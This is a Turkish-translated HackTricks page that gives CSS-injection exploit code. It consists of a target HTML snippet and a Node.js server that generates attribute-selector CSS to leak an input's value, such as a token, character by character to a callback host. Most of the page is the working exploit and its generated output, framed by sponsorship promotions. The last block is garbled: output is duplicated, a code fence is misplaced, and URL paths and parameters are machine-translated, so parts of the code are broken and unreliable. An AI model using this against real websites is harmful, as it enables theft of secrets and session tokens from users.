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hacktricks/pentesting-web/xs-search/css-injection/css-injection-code.md
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# CSS Enjeksiyon Kodu
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
{% code title="hedef.html" %}
```html
<!doctype html>
<body>
<div><article><div><p><div><div><div><div><div>
<input type="text" value="1234567890">
<style>
@import url('//localhost:5001/start?');
</style>
```
{% code title="server.js" %}
```javascript
const http = require('http');
const url = require('url');
// Port to exfiltrate to
const port = 5001;
// Host to exfiltrate to
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
log('\treq: %s', request.url);
//If stop, leakeage is finished
if (stop) return response.end();
switch (req.pathname) {
// This only launched when starting the leakeage
case "/start":
genResponse(response);
break;
// Everytime something is leaked
case "/leak":
response.end();
// If response comes with a pre, then we leaked some preffix s(E)cret
if (req.query.pre && prefix !== req.query.pre) {
prefix = req.query.pre;
// If response comes with a post, then we leaked some suffix secre(T)
} else if (req.query.post && postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
// Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
if (ready == 2) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\tleak: waiting others...');
}
break;
// While waiting for a pre and a post, the next @import is waiting to be responded
// by a new generated payload with another "pre" and "post"
case "/next":
if (ready == 2) {
genResponse(respose);
ready = 0;
} else {
pending.push(response);
ready++;
log('\tquery: waiting others...');
}
break;
// Called when the secret is leaked
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
}
const genResponse = (response) => {
// Verbose output to know what do we know
console.log('...pre-payoad: ' + prefix);
console.log('...post-payoad: ' + postfix);
// Payload generation, you have an example of what is generated below
let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
response.writeHead(200, { 'Content-Type': 'text/css'});
response.write(css);
response.end();
n++;
}
// Server listening
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] Server is listening on %d', port);
})
function log() {
if (DEBUG) console.log.apply(console, arguments);
}
/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
```css
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
```css
input[value$="8"]{--e0:url(http://localhost:5001/sızıntı?gönderi=8)}
input[value$="9"]{--e0:url(http://localhost:5001/sızıntı?gönderi=9)}
input[value$="a"]{--e0:url(http://localhost:5001/sızıntı?gönderi=a)}
input[value$="b"]{--e0:url(http://localhost:5001/sızıntı?gönderi=b)}
input[value$="c"]{--e0:url(http://localhost:5001/sızıntı?gönderi=c)}
input[value$="d"]{--e0:url(http://localhost:5001/sızıntı?gönderi=d)}
input[value$="e"]{--e0:url(http://localhost:5001/sızıntı?gönderi=e)}
input[value$="f"]{--e0:url(http://localhost:5001/sızıntı?gönderi=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/sızıntı?ön=0)}
input[value^="1"]{--s0:url(http://localhost:5001/sızıntı?ön=1)}
input[value^="2"]{--s0:url(http://localhost:5001/sızıntı?ön=2)}
input[value^="3"]{--s0:url(http://localhost:5001/sızıntı?ön=3)}
input[value^="4"]{--s0:url(http://localhost:5001/sızıntı?ön=4)}
input[value^="5"]{--s0:url(http://localhost:5001/sızıntı?ön=5)}
input[value^="6"]{--s0:url(http://localhost:5001/sızıntı?ön=6)}
input[value^="7"]{--s0:url(http://localhost:5001/sızıntı?ön=7)}
input[value^="8"]{--s0:url(http://localhost:5001/sızıntı?ön=8)}
input[value^="9"]{--s0:url(http://localhost:5001/sızıntı?ön=9)}
input[value^="a"]{--s0:url(http://localhost:5001/sızıntı?ön=a)}
input[value^="b"]{--s0:url(http://localhost:5001/sızıntı?ön=b)}
input[value^="c"]{--s0:url(http://localhost:5001/sızıntı?ön=c)}
input[value^="d"]{--s0:url(http://localhost:5001/sızıntı?ön=d)}
input[value^="e"]{--s0:url(http://localhost:5001/sızıntı?ön=e)}
input[value^="f"]{--s0:url(http://localhost:5001/sızıntı?ön=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/son?jeton=&)};
*/
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
</details>
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